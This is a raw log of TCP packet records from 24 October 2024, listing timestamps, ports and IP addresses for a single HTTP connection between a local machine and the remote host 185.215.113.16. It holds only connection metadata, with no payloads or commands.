Oct 24, 2024 04:58:00.935174942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.935188055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.935223103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.935230970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.966752052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.966808081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.966840029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.966841936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.966877937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.966885090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.966912031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.966959953 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.974323034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.974390030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.974400997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.974412918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.974425077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:00.974427938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:00.974452019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.017771006 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.054275036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.054316998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.054328918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.054339886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.054368019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.054409981 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.054472923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.054485083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.054527044 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.086055994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.086106062 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.086117983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.086129904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.086142063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.086146116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.086169958 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.127162933 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239011049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239026070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239038944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239049911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239065886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239077091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239080906 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239088058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239100933 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239109993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239113092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239154100 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239365101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239437103 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239470959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239483118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239495039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239506960 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239520073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239521027 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239531994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239546061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.239557028 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.239598036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.292845011 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.292857885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.292890072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.325803995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.325830936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.325845957 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.325860977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.325877905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.325917959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.325968027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.325978994 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.326015949 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.333465099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.333478928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.333491087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.333514929 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.333532095 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.358349085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.358364105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.358405113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.445220947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.445244074 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.445256948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.445269108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.445305109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.445305109 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.445306063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.452796936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.452810049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.452822924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.452833891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.452840090 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.452863932 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.452986956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.452996969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.453031063 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.526072979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.526088953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.526149988 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.564706087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.564743042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.564757109 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.564774990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.564788103 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.564794064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.564810991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.572006941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.572019100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.572055101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.627150059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.741291046 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741307020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741318941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741338968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741350889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741370916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741381884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741389036 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.741394997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741405010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.741406918 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741430998 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.741446018 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.741760015 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741771936 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741785049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.741797924 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.741825104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.804502964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804526091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804537058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804548979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804578066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.804596901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.804598093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804651022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804662943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.804696083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.845926046 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.860590935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.860604048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.860616922 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.860644102 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.908409119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.923827887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.923873901 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.923918009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.924074888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.924094915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.924107075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.924118042 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.924129963 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.924134970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.924141884 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.924171925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.924187899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:01.979973078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.979984999 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.979995966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:01.980206013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.043452024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043495893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043505907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043515921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043530941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043550014 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043561935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043572903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.043709040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.043709040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.099234104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.099272966 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.099287987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.099303007 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.099333048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.099364996 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.099380970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.162806988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162837982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162849903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162902117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162900925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.162914038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162925959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162935019 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.162962914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.162964106 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.162976027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.163007975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.218583107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.218602896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.218616962 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.218630075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.218732119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.218769073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.282135010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282170057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282183886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282198906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282213926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282215118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.282241106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.282422066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282438040 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282453060 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282459974 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.282488108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.282648087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282660961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.282695055 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.337874889 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.337889910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.337907076 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.337918997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.337929964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.337934971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.337975025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.401648045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401669979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401696920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401711941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401729107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401731014 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.401766062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.401853085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401890993 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.401968002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.401981115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.402023077 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.402070045 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.402080059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.402107000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.442215919 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.442234039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.442297935 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.457333088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.457365990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.457381010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.457391024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.457457066 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.520942926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.520963907 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.520992041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.521018982 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.521019936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.521034956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.521050930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.521066904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.521075010 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.521081924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.521109104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.521133900 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.576565027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.576596022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.576611996 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.576632977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.576643944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.576648951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.576673985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.627159119 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.640480995 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640497923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640512943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640561104 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.640722990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640737057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640752077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640764952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640777111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.640783072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.640808105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.640831947 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.695842028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.695877075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.695889950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.695915937 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.695929050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.695941925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.696127892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.759931087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.759948969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.759962082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.759973049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.759984016 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.759994984 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.760009050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.760019064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.760103941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.760103941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.815377951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815445900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815501928 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815501928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.815561056 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815594912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815604925 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.815632105 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815660954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.815676928 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.861527920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.879591942 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879635096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879672050 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879681110 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.879708052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879743099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879751921 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.879777908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879815102 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879822016 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.879903078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.879945040 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.934524059 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.934585094 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.934619904 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.934638023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.934655905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.934704065 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.934724092 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.934787989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.934833050 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.978183031 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.978200912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.978249073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.998779058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.998828888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.998857975 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.998876095 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.998883009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.998892069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:02.998912096 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:02.998912096 CEST	80	49774	185.215.113.16	192.168.2.6
